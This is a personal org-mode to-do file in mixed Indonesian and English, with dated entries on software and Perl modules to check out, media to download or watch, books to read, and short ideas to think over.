curses/tui di python\n** TODO [2013-10-18 Jum] 2co: https://github.com/blake2-ppc/git-remote-gcrypt\n- utk backup private repos, encrypted on the server side using gnupg.\n** TODO [2013-10-15 Sel] 2co: whmxtra :spanel:\n** TODO [2013-10-12 Sab] 2co: statistics di software unbound (bisa pake munin dan cacti)\n- cukup detil kayaknya, buat inspirasi\n- contoh total jumlah koneksi, lama waktu rata2 koneksi, jumlah koneksi saat\n  ini, dan masih banyak lagi.\n- yang udah detil kayak gini, gak usah distatistik lagi oleh spanel\n- software2x spanel juga perlu tuh bikin ginian (spanel-smtpd, spanel-apid)\n** TODO [2013-10-11 Jum] 2co: perform self rectal exam (youtube)\n- gara2x dimention di big bang theory\n** TODO [2013-08-26 Sen] 2co: libstatgrab, Unix::StatGrab (sp?)\n** TODO [2013-07-26 Fri] 2co: sahabat anak jalanan (liat metrotv)\n** TODO [2013-07-26 Fri] 2co: \@DriveBooksJkt (twitter)\n** TODO [2013-06-21 Fri] 2co: perl: Box::Calc\n** TODO [2013-07-09 Tue] 2co: d3 (saingan graphviz)\n** TODO [2013-07-02 Tue] 2co: pyzor (collaborative email filtering)\n** TODO [2013-06-03 Mon] 2co: sregex https://github.com/agentzh/sregex\n- nonbacktracking\n** TODO [2013-06-03 Mon] 2co: the silver searcher (ag), c version of ack\n** DONE [2013-06-03 Mon] 2co: smartcd\nhooks jika kita masuk atau keluar dari sebuah direktori, mis:\n- ganti prompt color\n- perlbrew\n** TODO [2013-05-13 Mon] 2co: MySQLTuner-perl (github)\n** TODO [2013-04-30 Tue] 2co: cpan: Test::TCP\n** TODO 2co: sphinxsearch\n** TODO [2013-03-14 Thu] 2co: iotop\n** TODO [2013-03-14 Thu] 2co: cpan: Code::Statistics\n** TODO [2013-03-14 Thu] 2co: cpan: Term::Menus\n** TODO [2013-03-14 Thu] 2co: cpan: Razor2::Client::Agent\n** TODO [2013-03-14 Thu] 2co: cpan: Config::Augeas::Exporter\n** TODO [2013-03-14 Thu] 2co: cpan: HTML::SocialMedia\n** TODO [2013-03-14 Thu] 2co: cpan: Privileges::Drop\n** DONE [2013-03-14 Thu] 2co: cpan: Pegex::Crontab\n- masih limited, belum support \"1,2,3\". gw post rt tickets.\n** TODO [2013-03-14 Thu] 2co: cpan: Email::Simple::Markdown\n** TODO [2013-03-14 Thu] 2co: debpkg: publicsuffix (accurate, machine-readable list of domain name suffixes)\n** TODO [2013-03-14 Thu] 2co: cpan: Net::DNS::ZoneFile::Fast (parse bind8/9 zone files)\n** TODO [2013-03-14 Thu] 2co: cpan: Mail::DeliveryStatus::BounceParser\n** TODO [2013-03-14 Thu] 2co: cpan: Net::SinFP3\n** TODO [2013-03-14 Thu] 2co: cpan: Xen::API\n** TODO [2013-03-14 Thu] 2co: cpan: Log::Sprintf\n** TODO [2013-03-14 Thu] 2co: debpkg: httpry\n** TODO [2013-02-24 Sun] 2co: DBIx::DataModel (lebih simple dan elegan daripada DBIx::Class)\n* 2co/perl [0/0]\n** DONE [2015-01-08 Thu] CPANDB\n- note ::\n  + database-nya disimpan di http://svn.ali.as/db/cpandb.bz2 dan kita download\n    saat dipakai utk query (mis: saat jalankan cpangraph, utility yg diinclude\n    di distribusi CPANDB). masalahnya ktia gak tau seberapa sering database ini\n    diupdate (contoh: modul yg gw upload kemarin, belum dilist hari ini).\n  + masalah up-to-dateness: cpanm pake CPANDB dan kadang gagal juga saat ingin\n    instal modul yang baru beberapa jam misalnya.\n  + tapi ada CPANDB::Generator for this to generate CPANDB locally.\n- see also :: CPAN::SQLite\n** TODO [2014-10-07 ] 2co: Net::DAS\n** TODO [2014-10-07 ] 2star sql::composer. 2co fey.\n* 2co/spanel [0/0]\n** TODO [2012-09-11 Tue] 2co: mod_ruid, mod_ruid2\n** TODO [2014-09-21 Sun] 2co: neopi (utk detect web shell)\n** TODO [2012-09-07 Fri] 2co: cloudlink and securelinks symlink protection\n  (symlinksifownermatch katanya ada race condition)\n** TODO [2012-09-07 Fri] 2co: cloudlink and mod_hostinglimits\n* 2cpanratings [0/0]\n** DONE [2014-07-06 Min] 2cpanratings: Hash::Ordered\nwell, it might be fast and all, but it's completely unlikely a normal perl hash,\nso it can only be used for new code.\n** DONE [2014-07-06 Min] 2cpanratings: App::ChangeShebang\nfrom the name, the script could be changed to become more general. changing to\nuse perl in the samedir as the script is one use-case, there are other use-cases\ntoo (which i had at least once or twice have to do): change shebang to '#!perl',\nchange shebang to '#!/usr/bin/env perl', change shebang to a specific perl path\n'#!/path/to/some/perlbrew/version/of/perl', etc.\n\nit could even be made more generic by not limiting itself to perl.\n* 2dl [48/85]\n** DONE [2015-04-05 Sun] 2dl: music: jlo\n- log ::\n  + [2015-04-07 Tue] done\n** DONE [2015-03-12 Kam] 2dl: music: dance tracks 2000s, 2010s\n- log ::\n  + [2015-03-13 Fri] gak nemu yang per-decade, jadi gw download yg tahun 2000,\n    lalu 2010-2015.\n** DONE [2015-03-04 Rab] 2dl: movie: the black swan (mirip/setema whiplash?)\n** DONE [2015-03-04 Rab] 2dl: movie: swimming with sharks (mirip/setema whiplash?)\n** CANCELLED TODO [2015-03-01 Min] 2dl youtube\nhttps://www.youtube.com/watch?v=cHCro9NYccs\nX https://www.youtube.com/watch?v=vf501GHRd5ga\nhttps://www.youtube.com/watch?v=K0t4ROF3ka4\nvideo2x kaskus (andrew, ken)\n- log ::\n  + [2015-03-10 Tue] cancel, lost interest karena deal dengan djarum batal :p\n** DONE [2015-02-28 Sat] 2dl: music: the carpenters greatest hits\n** DONE [2015-02-22 Sun] 2dl: redownload: tv: father ted\n** DONE [2015-02-21 Sat] 2dl: madonna's music videos\n** DONE [2015-02-21 Sat] 2dl: music videos artis2x cewe yang seksi\n- log ::\n  + [2015-03-10 Tue] done, dari beberapa list di internet\n** DONE [2015-02-21 Sat] 2dl: album ariana grande yang ada lagu problem, break free\n- log ::\n  + [2015-02-27 Fri] done, judulnya 'my everything'\n** DONE [2015-02-21 Sat] 2dl: episode guides tv, penilaian suara2x penyanyi cewe (MC, AG, ...) dan juga cowo\n** DONE [2015-02-19 Thu] 2dl: friends season 1-4\n** FAILED [2015-02-18 Wed] 2dl: redownload will & grace season 2a\n- log ::\n  + [2015-02-28 Sat] di kickasstorrents gak nemu (seeder 0)\n** CANCELLED TODO [2015-02-16 Mon] 2dl: redownload: zhangzhen jiang gushi\n- log ::\n  + [2015-02-22 Sun] masih ada ternyata di audio/book/zh-m/ gw.\n** TODO [2015-02-16 Mon] 2dl: film2x (panas :-) jennifer lopez\n** TODO [2015-02-07 Sab] 2dl: books: be a better lover\n** TODO [2015-02-07 Sab] 2dl: interview videos with interesting people (not just tech), luar dan dalam\n** CANCELLED [2015-02-07 Sab 10:18] 2dl: music: that thing you do (1996) soundtrack\n- log ::\n  + [2015-02-07 Sab 10:23] cancel, lost interest, gw cuma pengen 1 soundtrack\n    utamanya aja, udah download dari youtube.\n** TODO [2015-01-17 Sat] 2dl: ghost stories audio\n- log ::\n  + [2015-02-06 Fri] minggu lalu dengerin Criminal podcast (thisiscriminal.com)\n    dan No Sleep podcast (kurang menyeramkan ah, satu podcast ada 3-6 cerita\n    pendek).\n** TODO [#C] [2015-03-19 Thu] 2dl: podcast: quirks & quarks (far less fluffy than science friday)\n** TODO [#C] [2015-03-19 Thu] 2dl: podcast: npr planet money\n** TODO [#C] [2015-03-19 Thu] 2dl: podcast: 99percentinvisible (like planet money on design)\n** TODO [#C] [2015-01-17 Sat] 2dl: podcast: twit  <2015-06-01 Aaa +6m>\n** TODO [#C] [2015-01-11 Sun] 2dl: podcast: radiolab  <2015-03-13 Fri +4m>\n   - State \"DONE\"       from \"PENDING\"    [2015-01-12 Mon 20:59]\n   :PROPERTIES:\n   :LAST_REPEAT: [2015-01-12 Mon 20:59]\n   :END:\n** TODO [#C] [2015-01-11 Sun] 2dl: podcast: spilled milk  <2015-03-13 Fri +4m>\n   - State \"DONE\"       from \"PENDING\"    [2015-01-12 Mon 22:52]\n   :PROPERTIES:\n   :LAST_REPEAT: [2015-01-12 Mon 22:52]\n   :END:\n** TODO [#C] [2015-01-29 Thu] 2dl: podcast: freakonomics  <2015-03-13 Fri +4m>\n- log ::\n  + [2015-01-29 Thu] done\n** TODO [#C] [2015-01-29 Thu] 2dl: podcast: ted talk  <2015-03-13 Fri +4m>\n** TODO [#C] [2015-01-29 Thu] 2dl: podcast: sporkful  <2015-03-13 Fri +4m>\n- log ::\n  + [2015-01-30 Fri] done\n** TODO [#C] [2015-01-29 Thu] 2dl: podcast: econtalk  <2015-03-13 Fri +4m>\n- log ::\n  + [2015-01-30 Fri] done\n** DONE [2015-01-11 Sun] 2dl: movie: lion king, tarzan, ...\n- log ::\n  + [2015-01-16 Fri] done\n** DONE [2015-01-11 Sun] 2dl: music video: redownload lagu2x karaoke mandarin (e.g. ai wo de ren he wo ai de ren)\n- log ::\n  + [2015-01-16 Fri] done\n** CANCELLED [2015-01-07 Wed] 2dl: musicals buat ryo?\n- log ::\n  + [2015-01-07 Wed] cancel, kayaknya ryo gak/belum tertarik dengan nonton film?\n** DONE [2015-01-07 Wed] 2dl: dave matthews band\n- note ::\n  + gw tertarik karena katanya artis ini yang paling banyak penghasilan konser\n    musiknya selama dekade 2000-an? (atau 1990-an ya?) di atas celine dion yang\n    nomor 2. utk sales albumnya sendiri 30jt katanya, dan 6 album berturut2x\n    debut #1 di billboard!\n- log ::\n  + [2015-01-07 Wed] done, download 2 studio albumnya dulu\n** WAITING [2015-01-07 Wed] 2dl: subtitles big bang theory (udah mulai banyak kata2x yang gw gak bisa nangkep)\n- apa listening skill atau hearing gw mulai bermasalah ya? gw lagi hypothyroid\n  sih skr, apa ada hubungan?\n- log ::\n  + [2015-01-07 Wed] done, utk season1-7, en+fr (chinese gak ada di\n    tvsubtitles.net). gw keep todo list undone (WAITING) utk season berikutnya.\n** TODO [2014-12-19 Jum] 2dl: utf8 demo text file\n** DONE [2014-12-19 Jum] 2dl: yt kuli chinese jawa, video2 thn 50 and earlier.\n- log ::\n  + [2014-12-19 ] done\n** TODO [2012-08-27 Mon] 2dl: card game: fluxx http://en.wikipedia.org/wiki/Fluxx\n- pada dimainin orang2x yapc\n** CANCELLED TODO [2015-01-03 Sat] 2dl: music: album avril lavigne yang baru (yang ada here's to never growing up)\n- log ::\n  + [2015-02-28 Sat] cancel, lost interest\n** TODO [2015-01-02 Fri] 2dl: movie: tarzan (en & fr)\n- it's great story telling with great soundtrack, i always choke up when\n  watching the video clip, download ulang.\n** TODO [2014-12-19 Fri] 2dl: mojocasts.com\n** TODO [2014-12-17 Wed] 2dl: lagu anak2x mandarin n french\n** TODO [2014-12-02 Tue] 2dl: album judika: hati & cinta (2014)\n** DONE [2014-11-30 Sun] 2dl: konser harmoni sctv yang lain selain agnezmo\n- log ::\n  + [2014-12-02 Tue] done, dapet: judika, noah, gigi, kotak\n** DONE [2014-11-28 Fri] 2dl: music: ran\n- titipan liana\n- log ::\n  + [2014-12-02 Tue] done\n** TODO [2014-11-09 Sun] 2dl: music: billboard top 100 u/ tahun 2002-2014\n** DONE [2014-10-27 Mon] 2dl: music: kla project\n- log ::\n  + [2014-10-28 Tue] done\n** FAILED [2014-10-15 Wed] 2dl: les miserables (film) dubbed in chinese (and french)\n- log ::\n  + [2014-10-15 Wed] failed, yang chinese ga nemu yg full, adanya selagu2x. yg\n    french juga cuma nemu film (non-musical).\n** DONE [2014-09-30 Tue] 2dl: music: natalie cole\n- log ::\n  + [2014-10-28 Tue] done\n** DONE [2014-08-02 Sab] 2dl: lagu2 anak2x + lirik\n- log ::\n  + [2014-08-02 Sab] titipan liana\n** DONE [2014-07-29 Sel] 2dl: music: isabelle boulay - merci serge reggiani (2014)\n- log ::\n  + [2014-08-02 Sab] done\n** CANCELLED [2014-07-26 Sab] 2dl: lagu2x klasik seperti: hey paula, rhythm of the rain (yang di kaset lagu kenangan yg pernah gw beli)\n- log ::\n  + [2014-08-02 Sab] cancel, liat di youtube aja\n  + [2014-10-28 Tue] download youtube nya, beberapa playlist classic\n  + [2014-12-17 Wed] note: ujung2nya gak pernah didengerin :p\n** DONE [2014-07-20 Min] 2dl: frozen\n- log ::\n  + [2014-07-20 Min] request dari liana\n  + [2014-08-02 Sab] done\n** CANCELLED [2014-05-01 Thu] 2dl: tv: charmed\n- log ::\n  + [2014-06-02 Mon] cancel, lost interest\n** DONE [2014-02-27 Thu] 2dl: podcast: anamericanatheist.org\n- log ::\n  + [2014-05-24 Sat] pake rhythmbox\n** DONE [2014-01-01 Rab] 2dl: episodes (serial matt le blanc) season 2, 3\n** DONE [2014-01-01 Rab] 2dl: episodes (serial matt le blanc) season 4\n- log ::\n  + [2015-04-07 Tue] done bbrp bulan s.d. 1-2 minggu lalu\n** DONE [2013-12-20 Fri] 2dl: movie: mystic river (2003)\n- DONE [2013-12-20 Fri]\n** DONE [2013-12-18 Wed] 2dl: docu: the unbelievers (2013)\n- log ::\n  + [2014-05-25 Sun] done\n** TODO [2013-11-26 Sel] 2dl: buku how to flirt/social\n- bukunya siapa ya, david sedaris? and a couple of others perhaps.\n** DONE [2013-11-18 Sen] 2dl: aaron neville\n- DONE [2013-12-20 Fri]\n** DONE [2013-10-10 Thu] 2dl: neil diamond (gara2x big bang theory 703)\n- DONE [2013-12-20 Fri]\n** CANCELLED [2013-10-02 Wed] 2dl: baby birth videos\n- log ::\n  + [2013-12-20 Fri] di torrents gak ada, mesti liat youtube\n  + [2014-05-24 Sat] cancelled, gw udah liat liana ngelahirin caesar langsung\n    kok.\n** CANCELLED [2013-10-12 Sab] 2dl: marriage ref (reality tvshow, ada jerry seinfeld)\n- [2013-11-07 Thu] beberapa hari lalu di apt gw liat di youtube. gak ada\n  seinfeld-nya (cuma produser), celebrity guest starnya ganti2x dan komen2x\n  kadang seenaknya/sengaja dibuat kontroversial, garing ah.\n** DONE [2013-10-06 Min] 2dl: books about raising children & parenting\n- DONE [2013-12-20 Fri] ini udah deh beberapa minggu lalu, belum gw liat2x\n  hasilnya\n** CANCELLED [2013-10-06 Min] 2dl: books about living in apartments\n- log ::\n  + [2014-05-24 Sat] cancelled, toh udah dialami.\n** TODO [2013-10-06 Min] 2dl: books about (moving into) new houses\n** CANCELLED [2013-09-12 Kam] 2dl: celine dion docu (dan artis lain)\n- log ::\n  + [2014-05-24 Sat] cancelled, lost interest\n** CANCELLED [2013-08-17 Sab] 2dl: movie: turbo (2013)\n- log ::\n  + [2014-05-24 Sat] cancelled, lost interest\n** TODO [2013-08-11 Min] 2dl: shakira video clips (or other hip-shaking clips)\n- inul, belly dancers, dsb\n** TODO [2013-07-12 Fri] 2dl: \xE5\xBF\xAB\xE4\xB9\x90\xE6\xB1\x89\xE8\xAF\xAD (cctv-4 shows on language education)\n** TODO [2013-01-21 Mon] 2dl: film2x lain dari noemie lvovsky (camille redouble), francois cluzet (intouchable),\n** CANCELLED [2012-08-08 Wed] 2dl: keyboard android yang gede2x tombolnya, buat orang tua atau yg jarinya gendut\n- log ::\n  + [2014-05-24 Sat] cancelled, gak relevan lagi\n** DONE [2012-06-19 Tue] 2dl: amour (2012), film yang menang palme d'or 2012\n- tentang elderly couple yg kena stroke, belum nemu torrent-nya.\n- gak nemu baik di youtube,\n- DONE [2012-12-25 Tue] ada sekarang di kat.\n** FAILED [2012-08-08 Wed] 2dl: lewat djam malam, film indo tahun 1954 yg baru2x ini direstore\n- gak nemu, lost interest. liat trailer di youtube, ini film indo biasa aja,\n  bukan very special/unique. hanya karena terpilih utk direstorasi dengan biaya\n  gede makanya jadi berita.\n** TODO [2012-08-08 Wed] yoga chart (and print it)\n** TODO 2dl: buku tentang the dark side of china travel business\n  + [2012-06-19 Tue] nyari di dangdang.com dengan keyword \xE6\x97\x85\xE8\xA1\x8C\xE8\xA1\x8C\xE4\xB8\x9A\xEF\xBC\x8C\xE4\xB8\xAD\xE5\x9B\xBD\xE6\x97\x85\xE8\xA1\x8C\xEF\xBC\x8C\xE6\x97\x85\n    \xE8\xA1\x8C\xE7\x9C\x9F\xE5\xAE\x9E\xEF\xBC\x8C\xE9\x98\xB4\xE6\x9A\x97\xE9\x9D\xA2/\xE9\xBB\x91\xE6\x9A\x97\xE9\x9D\xA2\xEF\xBC\x8C\xE7\x9C\x9F\xE9\x9D\xA2\xE7\x9B\xAE,\xE6\x97\x85\xE8\xA1\x8C\xE4\xB8\x9A\xEF\xBC\x8C\xE6\x97\x85\xE8\xA1\x8C\xE5\xAF\xBC\xE6\xB8\xB8\xEF\xBC\x8C\xE7\xA7\x98\xE5\xAF\x86\xEF\xBC\x8C\xE7\xA7\x98\xE5\xAF\x86\xE4\xBB\x8E\xE4\xBA\x8B (undercover)\xEF\xBC\x8C\xE5\x9C\xB0\xE4\xB8\x8B\n    (underground),\xE6\x97\x85\xE8\xA1\x8C\xE4\xB8\x9A,\xE5\xAF\xBC\xE6\xB8\xB8 gak nemu. gw coba nyari juga di google \"ex tour leader tells\n    all\", gak nemu.\n** TODO 2dl: david pouge presentations\n- dia pinter nyanyi dan bikin parody songs mis tentang apple, dsb.\n** CANCELLED 2dl: tutorial: bishun taiwan\n- CANCELLED [2012-12-25 Tue] lost interest.\n** TODO 2dl: book/tutorial: shufa\n** TODO 2dl: web: nama2x bushou/radikal dalam zhongwen (pian pang, ada yang fan quan pang, ada yang cao zi tou, dsb)\n** TODO 2dl: \xE5\xAD\x97\xE8\xB0\x9C (zimi) / \xE8\xB0\x9C\xE8\xAF\xAD (miyu), chinese riddles\n** CANCELLED 2dl: books on depression\n- log ::\n  + [2014-05-24 Sat] cancelled, papa udah gak ada. dan lagi, selama akhir\n    hidupnya 1-2 tahun, papa udah mulai pulih kok dengan banyak kita beri\n    perhatian dan karena domino :)\n** TODO 2dl: books: psychology basic textbooks\n** TODO 2dl: audiobook: sociopath next door\n** TODO 2dl: (ongoing) current tv\n- parks & recreation    thu 20:30 EST\n- big bang theory       sat 20:00 EST\n- modern family         wed 21:00 EST\n- always sunny          (awaiting season 10)\n- 30 rock               (awaiting season 6)\n- episodes              (awaiting season 4)\n- hot in cleveland\n- the league\n* 2eat [0/0]\n** TODO [2013-08-31 Sab] 2eat: cheese yang lebih bau dari blue cheese roquefort\n\n* 2monitor [0/0]\n** software projects\n- [2014-12-19 Fri] otter browser (project to recreate classic opera 12.x UI using qt5)\n** active musician's albums\n*** french\n- isabelle boulay\n*** indonesian\n- agnezmo\n- raisa\n- calvin jeremy\n** current tv shows\n- big bang theory\n- fargo\n- it's always sunny\n- modern family\n- the league\n- parks & recreation\n- scandal\n* 2read [1/2]\n** TODO [2014-11-13 Thu] 2read: buku2x lain karya si pengarang 'more sex is safer sex'\n** TODO [2014-02-27 Thu] 2read: age of reason (thomas paine)\ndari sebuah blog yang mention soal mustard seed. \"I could go on about other\nbasic historical and factual problems in and between each of the gospels, and in\na future post I will touch on another failed prophecy Jesus makes, but if you\xE2\x80\x99re\ninterested in this sort of reasoning I can think of no better place to turn than\nThomas Paine\xE2\x80\x99s The Age of Reason in which he dismantles the entire Bible from\nbeginning to end using nothing but scripture as evidence against itself. And\nsince the book is available free on many apps for iPhone or iPad, as well as on\nKindle or Nook, you have no excuse*. Anyone who still views the Bible as\nanything but a literary curiosity after reading that book falls outside the\npurview of Reason itself**.\"\n** TODO [2014-01-25 Sat] 2read: 21 ways of living by musashi (artikel penjelasannya)\n** TODO [2014-01-21 Tue] 2read: private dick diaries\n** TODO [2014-01-21 Tue] 2read: great fictions\n- sekali2x pindah ke fiksi deh, cari enjoyable read\n** DONE [2014-01-21 Tue] 2read: more ux books\n** TODO [2014-01-21 Tue] 2read: john green book (mis: the fault in our stars, tentang cancer survivors)\n** DONE [2014-01-21 Tue] 2read: witty books\n- [2014-02-27 Thu] akhirnya 2 mingguan lalu gitu gw beli buku2x klasik oleh\n  oscar wilde, jane austen, mark twain. orang2x yg terkenal witty.\n** TODO [2014-01-21 Tue] 2read: funny books\n** TODO [2014-01-21 Tue] 2read: most entertaining books\n** TODO [2014-01-03 Fri] 2read: book: joel on software\n** TODO [2014-01-03 Fri] 2read: book: more joel on software\n** TODO [2014-01-03 Fri] 2read: book: user interface design for programmers\n** TODO [2013-11-13 Wed] 2read: how to do gettext translation\n- Dist::Zilla::App::Command::msg_init\n- Dist::Zilla::App::Command::pot\n** TODO [2013-11-13 Wed] 2read: name service switch\n- /etc/nsswitch.conf\n- ternyata dns itu bisa diconfigure utk gak pake hosts.conf, atau pake dns dulu,\n  atau pake database lain.\n- selain dns (hosts), konsep name services juga luas dan mencakup\n  passwd/group/shadow, protocol, service, dsb.\n- menarik, perlu diketahui mekanismenya.\n- berguna misalnya utk nanti di mwn cara mengkonfigurasi login staf pake ldap\n  (or even better, lewat API/Riap/Spanel). membuat spanel works seamlessly and\n  takes advantage of this flexible mechanism is good.\n- ref: http://www.faqs.org/docs/linux_network/x-087-2-resolv.library.html\n** TODO [2013-10-12 Sab] 2read: artikel + hn thread: you can increase your intelligence\n** TODO [2013-10-04 Fri] 2read: modsecurity handbook\n- hari ini baru tau, mod-security sudah ada kembali di debian, ini important\n  piece dalam pengamanan web server, jadi spanel perlu nglotok dalam hal ini.\n** TODO [2013-09-20 Jum] 2read: mcconnell: estimation: demistifying the black art\n- dari diskusi HN tentang software estimation\n** TODO [2012-05-31 ] 2read: buku: sisi gelap travel business di china\n** TODO 2read: buku: brain rules\n** TODO [2012-10-10 Wed] 2read: seperti apa hidup di: korsel, ...\nada buku yang beberapa negara sekaligus gak?) kalo bisa gak sekedar\ntravel-oriented, tapi lebih analisis comparison, budaya, things to learn.\n** CANCELLED [2012-10-10 Wed] 2read: buku tentang korut, seperti apa hidup di korut\n- log ::\n  + [2015-01-04 Min] cancel, lost interest\n** TODO [2012-12-29 Sat] 2read: advent articles sysadmin (sysadvent)\n- mayan bagus2x/berbobot artikelnya\n** TODO [2012-10-10 Wed] 2read: startup nation, seperti apa hidup di israel\n** TODO [2014-12-17 Wed] 2read: setuid demystified\n- log ::\n  + [2014-12-17 Wed] dianjurkan oleh leon timmermans sebagai comment ke posting\n    gw.\n** CANCELLED [2014-07-11 Fri] 2read: book: real world ocaml\n- log ::\n  + [2014-07-17 Thu] cancel, lost interest in ocaml\n** TODO [2014-05-02 Jum] 2read: artikel wiki: fragrance wheel\n* 2think [0/0]\n** TODO [2012-06-18 Mon] 2think: bagaimana resolve masalah \"over-booking\" di travel seperti xtrans?\nbukan overbooking sih istilahnya, tapi orang gak harus bayar utk reservasi, jadi\ncenderung pada reservasi dan kalo kita telp penuh, padahal ntar suka ada\nlowong). jelas harus bayar untuk reservasi (gak harus bayar di muka, tapi harus\nregister dan bayar dulu utk pesan dsb). masalahnya, gak ada insentif bagi si\nperusahaan travelnya.\n** TODO [2014-09-21 Sun] 2think: the future of internet of things\njumlah device bakal meningkat drastis. sekarang hp (2-3) + tablet + watch +\nlaptop + pc + smart tv/media player + cctv. ke depannya: fridge, radio, medical\ndevices, home/alarm (di setiap pintu?), bel, glasses, other wearable. jumlah\ndevice yang terkonek ke internet di satu rumah dari 1-2/beberapa bakal jadi\npuluhan.\n\nbuat operator ponsel what would you do? gak mungkin semua device dipasangin sim\ncard karena boros biaya buat user dan juga secara teknis beberapa alat terlalu\nkecil. dan juga: repot maintainnya (harus diisi pulsa, dsb). operator harus\nmenawarkan paket.\n\njaringan lokal / di rumah...\n* 2watch [1/4]\n** TODO [2014-11-13 Thu] 2w: movie: milk\n- this movie inspired james randi\n** TODO [2014-11-13 Thu] 2w: docu: the amazing randi\n** TODO [2014-02-27 Thu] 2w: mark shuttleworth & elon musk interviews (my new idols)\n** TODO [2014-01-21 Tue] 2w: film2x sedih, tear jerkers\n** TODO [2013-12-31 Tue] 2w: movie: naked lunch (1991)\n- film2x dg plot aneh (\"media trip\", seolah2x lagi tripping atau liat halusinasi\n  karena weird)\n- plot: After developing an addiction to the substance he uses to kill bugs, an\n  exterminator accidentally murders his wife and becomes involved in a secret\n  government plot being orchestrated by giant bugs in a port town in North\n  Africa.\n** TODO [2013-12-31 Tue] 2w: movie: existenz\n** TODO [2013-12-31 Tue] 2w: movie: blue velvet (david lynch)\n- dulu pernah nonton pastinya, david lynch, tapi lupa\n** TODO [2013-12-31 Tue] 2w: movie: mulholland drive (2001) (david lynch)\n- dulu pernah nonton pastinya, david lynch, tapi lupa\n- plot: After a car wreck on the winding Mulholland Drive renders a woman\n  amnesiac, she and a perky Hollywood-hopeful search for clues and answers\n  across Los Angeles in a twisting venture beyond dreams and reality.\n** TODO [2013-12-31 Tue] 2w: movie: wild at heart (1990) (david lynch)\n- plot: Young lovers Sailor and Lula run from the variety of weirdos that Lula's\n  mom has hired to kill Sailor.\n- plot: Lula's psychopathic mother goes crazy at the thought of Lula being with\n  Sailor, who just got free from jail. Ignoring Sailor's probation, they set out\n  for California. However their mother hires a killer to hunt down Sailor.\n  Unaware of this, the two enjoy their journey and themselves being together...\n  until they witness a young woman dying after a car accident - a bad omen.\n** TODO [2013-12-31 Tue] 2w: movie: lost highway (1997) (david lynch)\n- plot: After a bizarre encounter at a party, a jazz saxophonist is framed for\n  the murder of his wife and sent to prison, where he inexplicably morphs into a\n  young mechanic and begins leading a new life.\n** CANCELLED [2013-12-31 Tue] 2w: movie: the fall (2006)\n- plot: In a hospital on the outskirts of 1920s Los Angeles, an injured stuntman\n  begins to tell a fellow patient, a little girl with a broken arm, a fantastic\n  story of five mythical heroes. Thanks to his fractured state of mind and her\n  vivid imagination, the line between fiction and reality blurs as the tale\n  advances.\n- agak males gw kalo yg model gini (yg myths), kegilaannya kurang terasa\n** DONE [2013-12-31 Tue] 2w: movie: being john malkovich (1999)\n- plot: A puppeteer discovers a portal that leads literally into the head of the\n  movie star, John Malkovich.\n- log ::\n  + [2015-02-27 Jum] ini long done deh\n** CANCELLED [2013-12-31 Tue] 2w: movie: inland empire (2006) (david lynch)\n- plot: As an actress starts to adopt the persona of her character in a film,\n  her world starts to become nightmarish and surreal.\n- batalin dulu ah, 180 menit bo.\n** TODO [2013-12-31 Tue] 2w: movie: dead ringers (1988)\n- plot: Twin gynecologists take full advantage of the fact that nobody can tell\n  them apart, until their relationship begins to deteriorate over a woman.\n** TODO [2013-12-31 Tue] 2w: movie: videodrome (1983)\n- plot: A sleazy cable-TV programmer begins to see his life and the future of\n  media spin out of control in a very unusual fashion when he acquires a new\n  kind of programming for his station.\n** TODO [2013-12-31 Tue] 2w: movie: drowing by numbers (1988)\n- plot: Tired of her husband's philanderous ways, the mother of two daughters\n  drowns her husband. With the reluctant help of the local coroner, the murder\n  is obscured. Her daughters are having similar problems with relationships, and\n  tend to follow their mother's example, and the coroner becomes reluctantly\n  duplicitous. As the plot progresses, visual and spoken numbers appear in the\n  scenes, counting from one to 100.\n- plot: Three generations of women, a mother, her daughter and her niece - all\n  called Cissie Colpitts - experience dissatisfaction with their husbands and\n  cause them to drown. The local coroner, an inveterate game player called\n  Madgett, is drawn into a plot to disguise the murders. The story is paced by\n  the numbers one to one-hundred, which appear sequentially through the film.\n** TODO [2013-12-31 Tue] 2w: movie: 8 1/2 women (1999)\n- plot: After his wife dies, 55-year-old businessman Philip Emmenthal, at the\n  prompting of his playboy son Storey, populates his Geneva villa with eight and\n  a half concubines. Three are from Kyoto, where Storey manages Pachinco\n  palaces. Each has a distinctive personality: a nun, a child bearer, a gambler,\n  a student of Kabuki, a horsewoman with a pet pig, a maid. Philip throws off\n  his strait-laced and repressed attitudes, immersing himself in pleasure. After\n  about a year, the women begin to assert their own power. Side adventures\n  pre-figure the household's breakup, and the women depart in one way or\n  another, one at at time. Philip's fate is in the hands of Palmira, his\n  favorite.\n** TODO [2013-12-31 Tue] 2w: movie: the cook, the thief, his wife & her lover (1989)\n- plot: The wife of a barbaric crime boss engages in a secretive romance with a\n  gentle bookseller between meals at her husband's restaurant. Food, colour\n  coding, sex, murder, torture and cannibalism are the exotic fare in this\n  beautifully filmed but brutally uncompromising modern fable which has been\n  interpreted as an allegory for Thatcherism.\n** TODO [2013-12-31 Tue] 2w: movie: mystery train (1989)\n- plot: A Japanese couple obsessed with 1950s America goes to Memphis because\n  the male half of the couple emulates Carl Perkins. Chance encounters link\n  three different stories in the city, with the common thread being the seedy\n  hotel where they are all staying.\n- plot:\n** TODO [2013-12-31 Tue] 2w: movie: reservoir dogs (1992) (quentin tarantino)\n- plot: Six criminals, who are strangers to each other, are hired by a crime\n  boss, Joe Cabot, to carry out a diamond robbery. Right at the outset, they are\n  given false names with the intention that they won't get too close and will\n  concentrate on the job instead. They are completely sure that the robbery is\n  going to be a success. But, when the police show up right at the time and the\n  site of the robbery, panic spreads amongst the group members, and one of them\n  is killed in the subsequent shootout, along with a few policemen and\n  civilians. When the remaining people assemble at the premeditated rendezvous\n  point (a warehouse), they begin to suspect that one of them is an undercover\n  cop.\n** DONE [2012-08-02 Thu] 2w: queen documentary (youtube, 1:58:18)\n** TODO [2014-11-05 Rab] 2w: beberapa episode car talk? (tom magliozzi cohost meninggal)\n** TODO [2014-07-17 Thu] 2w: dconf 2013 talks\n** DONE [2014-05-28 Wed] 2w: movie: olympus has fallen\n- rekomendasi dari hartono\n- liat trailernya di starworld juga kayaknya menarik\n- log ::\n  + [2014-06-18 ] done\n** CANCELLED TODO [2014-05-02 Jum] 2w: docu: aaron swartz\n- log ::\n  + [2015-02-27 Jum] cancel, lost interest\n** TODO [2014-04-30 Wed] 2w: http://www.radiolab.org/story/294289-video-radiolab-behind-scenes/\n* 2watch/ted talks/french [0/1]\n** TODO [2014-05-02 Fri] urls\n* 2watch/ted talks/indonesia [0/1]\n** TODO [2014-05-02 Fri] 